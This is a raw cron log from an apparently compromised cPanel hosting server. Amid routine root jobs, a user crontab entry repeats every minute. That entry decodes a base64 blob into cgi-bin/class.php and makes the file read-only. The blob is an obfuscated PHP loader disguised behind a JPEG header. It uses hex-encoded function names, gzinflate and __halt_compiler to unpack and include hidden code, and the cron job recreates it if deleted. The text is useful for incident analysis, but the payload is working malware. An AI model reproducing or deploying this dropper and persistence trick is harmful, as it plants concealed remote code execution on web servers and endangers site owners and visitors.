Sep  7 04:55:01 server CROND[17208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:56:01 server CROND[18032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:56:01 server CROND[18033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:56:01 server CROND[18034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:57:01 server CROND[18426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:57:01 server CROND[18427]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 04:57:01 server CROND[18428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:57:01 server CROND[18429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:58:01 server CROND[18815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:58:01 server CROND[18817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:58:01 server CROND[18816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:59:01 server CROND[19283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:59:01 server CROND[19284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:59:01 server CROND[19285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:00:01 server CROND[19667]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:00:01 server CROND[19669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:00:01 server CROND[19672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:00:01 server CROND[19671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:00:01 server CROND[19675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:00:01 server CROND[19673]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:00:01 server CROND[19678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:00:01 server CROND[19674]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:00:01 server CROND[19676]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 05:01:01 server CROND[20492]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 05:01:01 server CROND[20494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:01:01 server CROND[20493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:01:01 server CROND[20495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:01:01 server run-parts(/etc/cron.hourly)[20492]: starting 0anacron
Sep  7 05:01:01 server run-parts(/etc/cron.hourly)[20513]: finished 0anacron
Sep  7 05:02:01 server CROND[20883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:02:01 server CROND[20884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:02:01 server CROND[20885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:03:01 server CROND[21294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:03:01 server CROND[21295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:03:01 server CROND[21296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:04:01 server CROND[21780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:04:01 server CROND[21781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:04:01 server CROND[21782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:05:01 server CROND[22178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:05:01 server CROND[22179]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 05:05:01 server CROND[22182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:05:01 server CROND[22184]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:05:01 server CROND[22187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:05:01 server CROND[22185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:05:01 server CROND[22188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:05:01 server CROND[22189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:05:01 server CROND[22186]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 05:06:01 server CROND[23200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:06:01 server CROND[23201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:06:01 server CROND[23202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:07:01 server CROND[23576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:07:01 server CROND[23577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:07:01 server CROND[23578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5t